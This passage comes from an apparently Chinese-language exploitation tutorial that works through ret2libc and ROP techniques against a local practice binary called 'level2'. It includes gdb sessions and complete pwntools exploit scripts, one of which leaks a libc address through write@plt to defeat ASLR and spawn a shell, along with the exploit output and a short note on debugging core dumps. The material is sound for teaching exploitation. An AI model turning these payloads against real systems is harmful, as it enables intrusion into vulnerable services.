(gdb) find 0xb7e393f0, +2200000, "/bin/sh"
0xb7f81ff8
warning: Unable to access target memory at 0xb7fc8500, halting search.
1 pattern found.
(gdb) x/s 0xb7f81ff8
0xb7f81ff8:  "/bin/sh"

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字 符串。这样我们就得到了system的地址0xb7e5f460以及”/bin/sh”的地址0xb7f81ff8。下面我们开始写exp:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:

#!python
$ python exp2.py 
[+] Started program './level2'
[*] Switching to interactive mode
$ whoami
mzheng

OK。测试成功。

0x03 ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护

接下来我们打开ASLR保护。

#!bash
sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space

现在我们再回头测试一下level2的exp,发现已经不好用了。

#!bash
$python exp2.py 
[+] Started program './level2'
[*] Switching to interactive mode
[*] Program './level2' stopped with exit code -11
[*] Got EOF while reading in interactive

如果你通过 sudo cat /proc/[pid]/maps 或者ldd查看,你会发现level2的libc.so地址每次都是变化的。

#!bash
cat /proc/[第1次执行的level2的pid]/maps
b759c000-b7740000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7740000-b7741000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7741000-b7743000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7743000-b7744000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

cat /proc/[第2次执行的level2的pid]/maps
b7546000-b76ea000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76ea000-b76eb000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76eb000-b76ed000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b76ed000-b76ee000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

cat /proc/[第3次执行的level2的pid]/maps
b7560000-b7704000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7704000-b7705000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7705000-b7707000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so
b7707000-b7708000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so

那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和 /bin/sh 字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示:

Linux内存随机化分布图

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

#!bash
$ objdump -d -j .plt level2

Disassembly of section .plt:

08048310 <read@plt>:
 8048310:   ff 25 00 a0 04 08       jmp    *0x804a000
 8048316:   68 00 00 00 00          push   $0x0
 804831b:   e9 e0 ff ff ff          jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320:   ff 25 04 a0 04 08       jmp    *0x804a004
 8048326:   68 08 00 00 00          push   $0x8
 804832b:   e9 d0 ff ff ff          jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330:   ff 25 08 a0 04 08       jmp    *0x804a008
 8048336:   68 10 00 00 00          push   $0x10
 804833b:   e9 c0 ff ff ff          jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340:   ff 25 0c a0 04 08       jmp    *0x804a00c
 8048346:   68 18 00 00 00          push   $0x18
 804834b:   e9 b0 ff ff ff          jmp    8048300 <_init+0x30>

$ objdump -R level2
//got表
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   read
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main
0804a00c R_386_JUMP_SLOT   write

我们发现除了程序本身的实现的函数之外,我们还可以使用 read@plt()write@plt() 函数。但因为程序本身并没有调用 system() 函数,所以我们并不能直接调用 system() 来获取shell。但其实我们有 write@plt() 函数就够了,因为我们可以通过 write@plt () 函数把 write() 函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的 write@plt() 函数为什么也能实现 write() 功能呢? 这是因为linux采用了延时绑定技术,当我们调用 write@plit() 的时候,系统会将真正的 write() 函数地址link到got表的 write.got 中,然后 write@plit() 会根据 write.got 跳转到真正的 write() 函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 – 链接、装载与库》这本书)

因为 system() 函数和 write() 在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出 system() 在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了 system() 在内存中的地址,就可以调用 system() 函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

#!bash
$ldd level2 
    linux-gate.so.1 =>  (0xb7781000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000)
    /lib/ld-linux.so.2 (0xb7782000)
$ cp /lib/i386-linux-gnu/libc.so.6 libc.so

最后exp如下:

#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

#p = process('./level2')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

接着我们使用socat把level2绑定到10003端口:

#!bash
socat TCP4-LISTEN:10003,fork EXEC:./level2

最后执行我们的exp:

#!bash
$python exp3.py 
[+] Opening connection to 127.0.0.1 on port 10003: Done
plt_write= 0x8048340
got_write= 0x804a00c
vulfun= 0x8048404

###sending payload1 ...###

###receving write() addr...###
write_addr=0xb76f64c0

###calculating system() addr and "/bin/sh" addr...###
system_addr= 0xb7656460
binsh_addr= 0xb7778ff8

###sending payload2 ...###
[*] Switching to interactive mode
$ whoami
mzheng

Programming Tips 2: How to debug a core dump file

#gdb -e level1 -c core
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1

[New LWP 19386]
Core was generated by `./level1′.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x44444444 in ?? ()

The problem was the memory address 0x44444444.

(gdb)x/10s $esp-144
0xbffff600:     ‘a’ <repeats 15 times>, “d”, ‘D’ <repeats 184 times>…
0xbffff6c8:     ‘D’ <repeats 26 times>, “\n”
0xbffff6e4:     “\006\066\220\341\026″, <incomplete sequence \333>
0xbffff6ed:     “”
0xbffff6ee:     “”
0xbffff6ef:     “”
0xbffff6f0:     “”
0xbffff6f1:     “”
0xbffff6f2:     “”
0xbffff6f3:     “”

This will tell the beginning address is 0xbffff600.